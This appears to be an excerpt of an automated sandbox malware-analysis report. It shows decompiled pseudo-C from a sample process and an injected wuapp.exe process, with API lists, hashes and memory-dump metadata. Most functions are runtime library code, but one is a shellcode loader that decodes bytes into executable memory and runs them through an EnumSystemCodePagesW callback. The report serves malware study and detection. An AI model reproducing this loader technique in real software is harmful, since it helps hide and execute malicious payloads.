							_t74 = E013B1530(_t99, 0, _a8);
							_t120 = _t120 + 0xc;
						}
						__eflags = _t119;
						if(_t119 == 0) {
							goto L3;
						} else {
							_t78 = _t74 | 0xffffffff;
							__eflags = _t97 - _t78 / _a12;
							if(_t97 > _t78 / _a12) {
								goto L3;
							}
							L13:
							_t117 = _a12 * _t97;
							__eflags =  *(_t119 + 0xc) & 0x0000010c;
							_t98 = _t117;
							if(( *(_t119 + 0xc) & 0x0000010c) == 0) {
								_t100 = 0x1000;
							} else {
								_t100 =  *(_t119 + 0x18);
							}
							_v16 = _t100;
							__eflags = _t117;
							if(_t117 == 0) {
								L41:
								return _a16;
							} else {
								do {
									__eflags =  *(_t119 + 0xc) & 0x0000010c;
									if(( *(_t119 + 0xc) & 0x0000010c) == 0) {
										L24:
										__eflags = _t98 - _t100;
										if(_t98 < _t100) {
											_t81 = E013B2752(_t98, _t119, _t119);
											__eflags = _t81 - 0xffffffff;
											if(_t81 == 0xffffffff) {
												L46:
												return (_t117 - _t98) / _a12;
											}
											_t102 = _v12;
											__eflags = _t102;
											if(_t102 == 0) {
												L42:
												__eflags = _a8 - 0xffffffff;
												if(_a8 != 0xffffffff) {
													E013B1530(_a4, 0, _a8);
												}
												 *((intOrPtr*)(E013B1CC3())) = 0x22;
												L4:
												E013B1E89();
												goto L5;
											}
											_t110 = _v8;
											 *_t110 = _t81;
											_t98 = _t98 - 1;
											_v8 = _t110 + 1;
											_t103 = _t102 - 1;
											__eflags = _t103;
											_v12 = _t103;
											_t100 =  *(_t119 + 0x18);
											_v16 = _t100;
											goto L40;
										}
										__eflags = _t100;
										if(_t100 == 0) {
											_t86 = 0x7fffffff;
											__eflags = _t98 - 0x7fffffff;
											if(_t98 <= 0x7fffffff) {
												_t86 = _t98;
											}
										} else {
											__eflags = _t98 - 0x7fffffff;
											if(_t98 <= 0x7fffffff) {
												_t44 = _t98 % _t100;
												__eflags = _t44;
												_t113 = _t44;
												_t91 = _t98;
											} else {
												_t113 = 0x7fffffff % _t100;
												_t91 = 0x7fffffff;
											}
											_t86 = _t91 - _t113;
										}
										__eflags = _t86 - _v12;
										if(_t86 > _v12) {
											goto L42;
										} else {
											_push(_t86);
											_push(_v8);
											_push(E013B2873(_t119));
											_t88 = E013B2A2A();
											_t120 = _t120 + 0xc;
											__eflags = _t88;
											if(_t88 == 0) {
												 *(_t119 + 0xc) =  *(_t119 + 0xc) | 0x00000010;
												goto L46;
											}
											__eflags = _t88 - 0xffffffff;
											if(_t88 == 0xffffffff) {
												L45:
												_t64 = _t119 + 0xc;
												 *_t64 =  *(_t119 + 0xc) | 0x00000020;
												__eflags =  *_t64;
												goto L46;
											}
											_t98 = _t98 - _t88;
											__eflags = _t98;
											L36:
											_v8 = _v8 + _t88;
											_v12 = _v12 - _t88;
											_t100 = _v16;
											goto L40;
										}
									}
									_t94 =  *(_t119 + 4);
									_v20 = _t94;
									__eflags = _t94;
									if(__eflags == 0) {
										goto L24;
									}
									if(__eflags < 0) {
										goto L45;
									}
									__eflags = _t98 - _t94;
									if(_t98 < _t94) {
										_t94 = _t98;
										_v20 = _t98;
									}
									_t104 = _v12;
									__eflags = _t94 - _t104;
									if(_t94 > _t104) {
										goto L42;
									} else {
										E013B2897(_v8, _t104,  *_t119, _t94);
										_t88 = _v20;
										_t120 = _t120 + 0x10;
										 *(_t119 + 4) =  *(_t119 + 4) - _t88;
										_t98 = _t98 - _t88;
										 *_t119 =  *_t119 + _t88;
										goto L36;
									}
									L40:
									__eflags = _t98;
								} while (_t98 != 0);
								goto L41;
							}
						}
					}
					_t74 = (_t74 | 0xffffffff) / _a12;
					__eflags = _t97 - _t74;
					if(_t97 <= _t74) {
						goto L13;
					}
					goto L9;
				}
				L3:
				 *((intOrPtr*)(E013B1CC3())) = 0x16;
				goto L4;
			}

APIs

_memset.LIBCMT ref: 013B1316
_memcpy_s.LIBCMT ref: 013B1388
__read_nolock.LIBCMT ref: 013B13E6
__filbuf.LIBCMT ref: 013B1409
_memset.LIBCMT ref: 013B144D

Part of subcall function 013B1CC3: __getptd_noexit.LIBCMT ref: 013B1CC3

Memory Dump Source

Source File: 00000006.00000002.1033500166.00000000013B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000006.00000002.1033491986.00000000013B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1033535506.00000000013BE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1033548495.00000000013C3000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1033567641.00000000013C7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_13b0000_yldnat.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: 55d99c3bc2fc2accb151bd68b8c7c5b1b205c24243914e167072cac61f5e5b14
Instruction ID: acacb248b804a03453a91d40d44469e5890e7d70ccea0f1c8cc7e2e41a98c018
Opcode Fuzzy Hash: 55d99c3bc2fc2accb151bd68b8c7c5b1b205c24243914e167072cac61f5e5b14
Instruction Fuzzy Hash: 2751EA70A013099BDB248F6DE8E05EE7BB5AF40328F148729EB29D6ED0F77499508B41

Uniqueness

Uniqueness Score: -1.00%

Function 013B7452 Relevance: 7.6, APIs: 5, Instructions: 67
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E013B7452(void* __ebx, void* __edx, void* __edi, void* _a4, long _a8) {
				void* _t7;
				void* _t8;
				intOrPtr* _t9;
				intOrPtr* _t12;
				void* _t20;
				long _t31;

				if(_a4 != 0) {
					_t31 = _a8;
					if(_t31 != 0) {
						_push(__ebx);
						while(_t31 <= 0xffffffe0) {
							if(_t31 == 0) {
								_t31 = _t31 + 1;
							}
							_t7 = HeapReAlloc( *0x13c4834, 0, _a4, _t31);
							_t20 = _t7;
							if(_t20 != 0) {
								L17:
								_t8 = _t20;
							} else {
								if( *0x13c4830 == _t7) {
									_t9 = E013B1CC3();
									 *_t9 = E013B1CD6(GetLastError());
									goto L17;
								} else {
									if(E013B1741(_t7, _t31) == 0) {
										_t12 = E013B1CC3();
										 *_t12 = E013B1CD6(GetLastError());
										L12:
										_t8 = 0;
									} else {
										continue;
									}
								}
							}
							goto L14;
						}
						E013B1741(_t6, _t31);
						 *((intOrPtr*)(E013B1CC3())) = 0xc;
						goto L12;
					} else {
						E013B4831(_a4);
						_t8 = 0;
					}
					L14:
					return _t8;
				} else {
					return E013B1147(__ebx, __edx, __edi, _a8);
				}
			}

APIs

_malloc.LIBCMT ref: 013B745E

Part of subcall function 013B1147: __FF_MSGBANNER.LIBCMT ref: 013B115E
Part of subcall function 013B1147: __NMSG_WRITE.LIBCMT ref: 013B1165
Part of subcall function 013B1147: HeapAlloc.KERNEL32(00000000,00000000,00000001,00000000,00000000,00000000,?,013B48C7,00000000,00000000,00000000,00000000,?,013B44F9,00000018,013C2280), ref: 013B118A

_free.LIBCMT ref: 013B7471

Memory Dump Source

Source File: 00000006.00000002.1033500166.00000000013B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000006.00000002.1033491986.00000000013B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1033535506.00000000013BE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1033548495.00000000013C3000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1033567641.00000000013C7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_13b0000_yldnat.jbxd

Similarity

API ID: AllocHeap_free_malloc
String ID:
API String ID: 2734353464-0
Opcode ID: d656b58623f40118e1b26a5e5085a7896989b0954aeb260ebf081a9e9bc256f3
Instruction ID: 859dcdae0e9d528b2c7f2f5ac264ad57fc5d2a7282168220c136b21e0d057271
Opcode Fuzzy Hash: d656b58623f40118e1b26a5e5085a7896989b0954aeb260ebf081a9e9bc256f3
Instruction Fuzzy Hash: C2119431805616AACB313E7CB8D46D93F98EB50369F104525EB49AAEC0FA788940C790

Uniqueness

Uniqueness Score: -1.00%

Function 013B1000 Relevance: 7.6, APIs: 5, Instructions: 54
memoryCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E013B1000(void* __ecx, void* __eflags, intOrPtr _a12) {
				intOrPtr _v8;
				void* __ebx;
				void* __edi;
				intOrPtr _t6;
				void* _t7;
				void* _t18;
				_Unknown_base(*)()* _t19;
				void* _t24;
				void* _t25;
				void* _t26;
				intOrPtr* _t32;

				_push(_t18);
				_t26 = 0;
				_t6 = E013B1147(_t18, _t24, 0, 0x17d78400);
				 *_t32 = 0x13c3000;
				_v8 = _t6;
				_t7 = E013B11D9(_a12, _t25);
				_t19 = VirtualAlloc(0, 0x1487, 0x3000, 0x40);
				E013B147D(_t19, 0x1487, 1, _t7);
				_t10 = _v8;
				if(_v8 != 0) {
					E013B1530(_t10, 0xcb, 0x17d78400);
					do {
						 *((char*)(_t19 + _t26)) = ( *((intOrPtr*)(_t19 + _t26)) + 0x00000001 ^ 0x000000dd) - 0x3b;
						_t26 = _t26 + 1;
					} while (_t26 < 0x1487);
					EnumSystemCodePagesW(_t19, 0);
				}
				return 0;
			}

0x013b1004
0x013b100c
0x013b100e
0x013b1013
0x013b101d
0x013b1020
0x013b1044
0x013b1048
0x013b104d
0x013b1055
0x013b1062
0x013b106a
0x013b1073
0x013b1076
0x013b1077
0x013b107e
0x013b107e
0x013b108a

APIs

_malloc.LIBCMT ref: 013B100E

Part of subcall function 013B1147: __FF_MSGBANNER.LIBCMT ref: 013B115E
Part of subcall function 013B1147: __NMSG_WRITE.LIBCMT ref: 013B1165
Part of subcall function 013B1147: HeapAlloc.KERNEL32(00000000,00000000,00000001,00000000,00000000,00000000,?,013B48C7,00000000,00000000,00000000,00000000,?,013B44F9,00000018,013C2280), ref: 013B118A

Part of subcall function 013B11D9: __wfsopen.LIBCMT ref: 013B11E4

VirtualAlloc.KERNEL32(00000000,00001487,00003000,00000040), ref: 013B1036
__fread_nolock.LIBCMT ref: 013B1048
_memset.LIBCMT ref: 013B1062
EnumSystemCodePagesW.KERNEL32(00000000,00000000), ref: 013B107E

Memory Dump Source

Source File: 00000006.00000002.1033500166.00000000013B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000006.00000002.1033491986.00000000013B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1033535506.00000000013BE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1033548495.00000000013C3000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1033567641.00000000013C7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_13b0000_yldnat.jbxd

Similarity

API ID: Alloc$CodeEnumHeapPagesSystemVirtual__fread_nolock__wfsopen_malloc_memset
String ID:
API String ID: 612201108-0
Opcode ID: e970ffc898febc9680fec2f7fe5dc0a3a1cd131c7bfdfc0643763fde97308cae
Instruction ID: d33b299ec09634e5aaa5e3fabe5523ab3d0286d94cd664b55446cccf0118649c
Opcode Fuzzy Hash: e970ffc898febc9680fec2f7fe5dc0a3a1cd131c7bfdfc0643763fde97308cae
Instruction Fuzzy Hash: 370126726043447BF7212A7AAC9BFDF3F5CDB51B5CF100865FB02AA581F9A498019274

Uniqueness

Uniqueness Score: -1.00%

Function 008853A5 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 185
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E008853A5(signed int _a4, char _a8) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t32;
				signed int _t37;
				signed int _t40;
				signed int _t42;
				void* _t45;
				intOrPtr _t46;
				void* _t48;
				signed int _t49;
				void* _t51;
				signed int _t57;
				signed int _t64;
				signed int _t71;
				void* _t74;
				intOrPtr _t78;
				signed int* _t79;
				void* _t85;
				signed int _t86;
				signed int _t92;
				void* _t104;
				void* _t105;

				_t64 = _a4;
				_t32 =  *(_t64 + 0x28);
				_t71 = _t64 + 0x28;
				_push(_t92);
				if(_t32 < 0) {
					_t78 =  *[fs:0x18];
					__eflags =  *((intOrPtr*)(_t64 + 0x2c)) -  *((intOrPtr*)(_t78 + 0x24));
					if( *((intOrPtr*)(_t64 + 0x2c)) !=  *((intOrPtr*)(_t78 + 0x24))) {
						goto L3;
					} else {
						__eflags = _t32 | 0xffffffff;
						asm("lock xadd [ecx], eax");
						return 1;
					}
				} else {
					L3:
					_push(_t86);
					while(1) {
						L4:
						__eflags = _t32;
						if(_t32 == 0) {
							break;
						}
						__eflags = _a8;
						if(_a8 == 0) {
							__eflags = 0;
							return 0;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)(_t64 + 0x34)) + 0x14)) =  *((intOrPtr*)( *((intOrPtr*)(_t64 + 0x34)) + 0x14)) + 1;
							_t79 = _t64 + 0x24;
							_t71 = 1;
							asm("lock xadd [eax], ecx");
							_t32 =  *(_t64 + 0x28);
							_a4 = _t32;
							__eflags = _t32;
							if(_t32 != 0) {
								L19:
								_t86 = 0;
								__eflags = 0;
								while(1) {
									_t81 =  *(_t64 + 0x30) & 0x00000001;
									asm("sbb esi, esi");
									_t92 =  !( ~( *(_t64 + 0x30) & 1)) & 0x009401c0;
									_push(_t92);
									_push(0);
									_t37 = L0085F8CC( *((intOrPtr*)(_t64 + 0x20)));
									__eflags = _t37 - 0x102;
									if(_t37 != 0x102) {
										break;
									}
									_t71 =  *(_t92 + 4);
									_t85 =  *_t92;
									_t51 = L008A4FC0(_t85, _t71, 0xff676980, 0xffffffff);
									_push(_t85);
									_push(_t51);
									L008B3F92(0x65, 0, "RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)\n", _t86);
									L008B3F92(0x65, 0, "RTL: Resource at %p\n", _t64);
									_t86 = _t86 + 1;
									_t105 = _t104 + 0x28;
									__eflags = _t86 - 2;
									if(__eflags > 0) {
										E008E217A(_t71, __eflags, _t64);
									}
									_push("RTL: Re-Waiting\n");
									_push(0);
									_push(0x65);
									L008B3F92();
									_t104 = _t105 + 0xc;
								}
								__eflags = _t37;
								if(__eflags < 0) {
									_push(_t37);
									L008A3915(_t64, _t71, _t81, _t86, _t92, __eflags);
									asm("int3");
									_t40 =  *_t71;
									 *_t71 = 0;
									__eflags = _t40;
									if(_t40 == 0) {
										L1:
										_t42 = E00885384(_t92 + 0x24);
										if(_t42 != 0) {
											goto L31;
										} else {
											goto L2;
										}
									} else {
										_t83 =  *((intOrPtr*)(_t92 + 0x18));
										_push( &_a4);
										_push(_t40);
										_t49 = L0085F970( *((intOrPtr*)(_t92 + 0x18)));
										__eflags = _t49;
										if(__eflags >= 0) {
											goto L1;
										} else {
											_push(_t49);
											L008A3915(_t64,  &_a4, _t83, _t86, _t92, __eflags);
											L31:
											_t82 =  *((intOrPtr*)(_t92 + 0x20));
											_push( &_a4);
											_push(1);
											_t42 = L0085F970( *((intOrPtr*)(_t92 + 0x20)));
											__eflags = _t42;
											if(__eflags >= 0) {
												L2:
												return _t42;
											} else {
												_push(_t42);
												L008A3915(_t64,  &_a4, _t82, _t86, _t92, __eflags);
												_t73 =  *((intOrPtr*)(_t92 + 0x20));
												_push( &_a4);
												_push(1);
												_t42 = L0085F970( *((intOrPtr*)(_t92 + 0x20)));
												__eflags = _t42;
												if(__eflags >= 0) {
													goto L2;
												} else {
													_push(_t42);
													_t45 = L008A3915(_t64, _t73, _t82, _t86, _t92, __eflags);
													asm("int3");
													while(1) {
														_t74 = _t45;
														__eflags = _t45 - 1;
														if(_t45 != 1) {
															break;
														}
														_t86 = _t86 | 0xffffffff;
														_t45 = _t74;
														asm("lock cmpxchg [ebx], edi");
														__eflags = _t45 - _t74;
														if(_t45 != _t74) {
															continue;
														} else {
															_t46 =  *[fs:0x18];
															 *((intOrPtr*)(_t92 + 0x2c)) =  *((intOrPtr*)(_t46 + 0x24));
															return _t46;
														}
														goto L38;
													}
													E00885329(_t74, _t92);
													_push(1);
													_t48 = E008853A5(_t92);
													return _t48;
												}
											}
										}
									}
								} else {
									_t32 =  *(_t64 + 0x28);
									continue;
								}
							} else {
								_t71 =  *_t79;
								__eflags = _t71;
								if(__eflags > 0) {
									while(1) {
										_t57 = _t71;
										asm("lock cmpxchg [edi], esi");
										__eflags = _t57 - _t71;
										if(_t57 == _t71) {
											break;
										}
										_t71 = _t57;
										__eflags = _t57;
										if(_t57 > 0) {
											continue;
										}
										break;
									}
									_t32 = _a4;
									__eflags = _t71;
								}
								if(__eflags != 0) {
									continue;
								} else {
									goto L19;
								}
							}
						}
						goto L38;
					}
					_t71 = _t71 | 0xffffffff;
					_t32 = 0;
					asm("lock cmpxchg [edx], ecx");
					__eflags = 0;
					if(0 != 0) {
						goto L4;
					} else {
						 *((intOrPtr*)(_t64 + 0x2c)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
						return 1;
					}
				}
				L38:
			}

0x008853ab
0x008853ae
0x008853b1
0x008853b4
0x008853b7
0x008a05b6
0x008a05c0
0x008a05c3
0x00000000
0x008a05c9
0x008a05c9
0x008a05cc
0x008a05d5
0x008a05d5
0x008853bd
0x008853bd
0x008853bd
0x008853be
0x008853be
0x008853be
0x008853c0
0x00000000
0x00000000
0x008c2269
0x008c226d
0x008c2349
0x008c234d
0x008c2273
0x008c2276
0x008c2279
0x008c227e
0x008c2283
0x008c2287
0x008c228a
0x008c228d
0x008c228f
0x008c22bc
0x008c22bc
0x008c22bc
0x008c22be
0x008c22c4
0x008c22cc
0x008c22d0
0x008c22d6
0x008c22d7
0x008c22da
0x008c22df
0x008c22e4
0x00000000
0x00000000
0x008c22e6
0x008c22e9
0x008c22f4
0x008c22f9
0x008c22fa
0x008c2305
0x008c2314
0x008c2319
0x008c231a
0x008c231d
0x008c2320
0x008c2323
0x008c2323
0x008c2328
0x008c232d
0x008c232f
0x008c2331
0x008c2336
0x008c2336
0x008c233b
0x008c233d
0x008c2350
0x008c2351
0x008c2356
0x008c2359
0x008c2359
0x008c235b
0x008c235d
0x00885367
0x0088536b
0x00885372
0x00000000
0x00000000
0x00000000
0x00000000
0x008c2363
0x008c2363
0x008c2369
0x008c236a
0x008c236c
0x008c2371
0x008c2373
0x00000000
0x008c2379
0x008c2379
0x008c237a
0x008c237f
0x008c237f
0x008c2385
0x008c2386
0x008c2389
0x008c238e
0x008c2390
0x00885378
0x0088537c
0x008c2396
0x008c2396
0x008c2397
0x008c239c
0x008c23a2
0x008c23a3
0x008c23a6
0x008c23ab
0x008c23ad
0x00000000
0x008c23b3
0x008c23b3
0x008c23b4
0x008c23b9
0x008c23ba
0x008c23ba
0x008c23bc
0x008c23bf
0x00000000
0x00000000
0x008b9153
0x008b9158
0x008b915a
0x008b915e
0x008b9160
0x00000000
0x008b9166
0x008b9166
0x008b9171
0x008b9176
0x008b9176
0x00000000
0x008b9160
0x008c23c6
0x008c23cb
0x008c23ce
0x008c23d7
0x008c23d7
0x008c23ad
0x008c2390
0x008c2373
0x008c233f
0x008c233f
0x00000000
0x008c233f
0x008c2291
0x008c2291
0x008c2293
0x008c2295
0x008c229a
0x008c22a1
0x008c22a3
0x008c22a7
0x008c22a9
0x00000000
0x00000000
0x008c22ab
0x008c22ad
0x008c22af
0x00000000
0x00000000
0x00000000
0x008c22af
0x008c22b1
0x008c22b4
0x008c22b4
0x008c22b6
0x00000000
0x00000000
0x00000000
0x00000000
0x008c22b6
0x008c228f
0x00000000
0x008c226d
0x008853cb
0x008853ce
0x008853d0
0x008853d4
0x008853d6
0x00000000
0x008853d8
0x008853e3
0x008853ea
0x008853ea
0x008853d6
0x00000000

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 008C22F4

Strings

RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 008C22FC
RTL: Re-Waiting, xrefs: 008C2328
RTL: Resource at %p, xrefs: 008C230B

Memory Dump Source

Source File: 00000006.00000002.1032385673.0000000000850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00840000, based on PE: true

Associated: 00000006.00000002.1032375149.0000000000840000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032524521.0000000000930000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032531456.0000000000940000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032540140.0000000000944000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032546490.0000000000947000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032556961.0000000000950000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032605363.00000000009B0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_840000_yldnat.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-871070163
Opcode ID: fff28840f930ac96fe059a34a162b8967f99c6b9fd7e3595de57cbaeb8efa4a6
Instruction ID: 728101a97bab29702f6e86f7d53fdb4a5a0b55dd0cdf341c2381c0d06fc7e549
Opcode Fuzzy Hash: fff28840f930ac96fe059a34a162b8967f99c6b9fd7e3595de57cbaeb8efa4a6
Instruction Fuzzy Hash: 085114716007016BEB11AB2CCC81FAA73A8FF56364F104229FD09DB381EA75ED4187A1

Uniqueness

Uniqueness Score: -1.00%

Function 013B91C6 Relevance: 6.1, APIs: 4, Instructions: 97
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E013B91C6(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				intOrPtr _v12;
				signed int _v20;
				signed int _t35;
				int _t38;
				signed int _t41;
				int _t42;
				intOrPtr* _t44;
				int _t47;
				short* _t49;
				intOrPtr _t50;
				intOrPtr _t54;
				int _t55;
				signed int _t59;
				char* _t62;

				_t62 = _a8;
				if(_t62 == 0) {
					L5:
					return 0;
				}
				_t50 = _a12;
				if(_t50 == 0) {
					goto L5;
				}
				if( *_t62 != 0) {
					E013B4BFC( &_v20, _a16);
					_t35 = _v20;
					__eflags =  *(_t35 + 0xa8);
					if( *(_t35 + 0xa8) != 0) {
						_t38 = E013B917B( *_t62 & 0x000000ff,  &_v20);
						__eflags = _t38;
						if(_t38 == 0) {
							__eflags = _a4;
							_t41 = _v20;
							_t59 = 1;
							_t28 = _t41 + 4; // 0x840ffff8
							_t42 = MultiByteToWideChar( *_t28, 9, _t62, 1, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t42;
							if(_t42 != 0) {
								L21:
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t31 = _t54 + 0x70;
									 *_t31 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t31;
								}
								return _t59;
							}
							L20:
							_t44 = E013B1CC3();
							_t59 = _t59 | 0xffffffff;
							__eflags = _t59;
							 *_t44 = 0x2a;
							goto L21;
						}
						_t59 = _v20;
						__eflags =  *(_t59 + 0x74) - 1;
						if( *(_t59 + 0x74) <= 1) {
							L15:
							_t20 = _t59 + 0x74; // 0xe1c11fe1
							__eflags = _t50 -  *_t20;
							L16:
							if(__eflags < 0) {
								goto L20;
							}
							__eflags = _t62[1];
							if(_t62[1] == 0) {
								goto L20;
							}
							L18:
							_t22 = _t59 + 0x74; // 0xe1c11fe1
							_t59 =  *_t22;
							goto L21;
						}
						_t12 = _t59 + 0x74; // 0xe1c11fe1
						__eflags = _t50 -  *_t12;
						if(__eflags < 0) {
							goto L16;
						}
						__eflags = _a4;
						_t17 = _t59 + 0x74; // 0xe1c11fe1
						_t18 = _t59 + 4; // 0x840ffff8
						_t47 = MultiByteToWideChar( *_t18, 9, _t62,  *_t17, _a4, 0 | _a4 != 0x00000000);
						_t59 = _v20;
						__eflags = _t47;
						if(_t47 != 0) {
							goto L18;
						}
						goto L15;
					}
					_t55 = _a4;
					__eflags = _t55;
					if(_t55 != 0) {
						 *_t55 =  *_t62 & 0x000000ff;
					}
					_t59 = 1;
					goto L21;
				}
				_t49 = _a4;
				if(_t49 != 0) {
					 *_t49 = 0;
				}
				goto L5;
			}

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 013B91FC
__isleadbyte_l.LIBCMT ref: 013B922A
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,E1C11FE1,00BFBBEF,00000000), ref: 013B9258
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,00000001,00BFBBEF,00000000), ref: 013B928E

Memory Dump Source

Source File: 00000006.00000002.1033500166.00000000013B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000006.00000002.1033491986.00000000013B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1033535506.00000000013BE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1033548495.00000000013C3000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1033567641.00000000013C7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_13b0000_yldnat.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 179524b547c1659d597cb0f7ecacbe480c9fc492c6471cc5f858324418a6fecd
Instruction ID: d86a7a1f11582a673608fc84ac8bb432bb18804f92e15a5ae5a2cb95dde52d73
Opcode Fuzzy Hash: 179524b547c1659d597cb0f7ecacbe480c9fc492c6471cc5f858324418a6fecd
Instruction Fuzzy Hash: 9C31C271A0024EAFEB218E69CC84BEA7FA9BF4131CF154128E7158B990F731D850DB90

Uniqueness

Uniqueness Score: -1.00%

Function 013BA94D Relevance: 6.0, APIs: 4, Instructions: 48
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E013BA94D(void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E013BAE9E(__eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E013BA9D3(_a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E013BB119(__esi, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E013BB058(__esi, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

APIs

__cftof_l.LIBCMT ref: 013BA971

Part of subcall function 013BB058: __fltout2.LIBCMT ref: 013BB081

__cftog_l.LIBCMT ref: 013BA997
__cftoe_l.LIBCMT ref: 013BA9C9

Memory Dump Source

Source File: 00000006.00000002.1033500166.00000000013B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000006.00000002.1033491986.00000000013B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1033535506.00000000013BE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1033548495.00000000013C3000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1033567641.00000000013C7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_13b0000_yldnat.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: d722a6699da6baaa2af529011bcd170f5a409b5f950ebcbb33fffb9adf9c83e0
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: 72014C7604464EFBCF125F88CC818EE3F66BB19258B4A8515FF195A830E736C5B1BB81

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: wuapp.exePID: 1112, Parent PID: 1860COMMON

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	1.7%
Signature Coverage:	0%
Total number of Nodes:	706
Total number of Limit Nodes:	80

Executed Functions

Function 0012A28A Relevance: 1.6, APIs: 1, Instructions: 62
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateFile.NTDLL(00000060,00000005,00000000,001257A7,00000005,FFFFFFFF,?,?,FFFFFFFF,00000005,001257A7,00000000,00000005,00000060,00000000,00000000), ref: 0012A31D

Memory Dump Source

Source File: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_110000_wuapp.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 0e6f602c42f14cc5e16e1ed26be39846bed8539e117ae552000b1057516d79ba
Instruction ID: 928d8cd593df555682a67eb3d14201e18740c3b6feef237e91f79440cb9d0db3
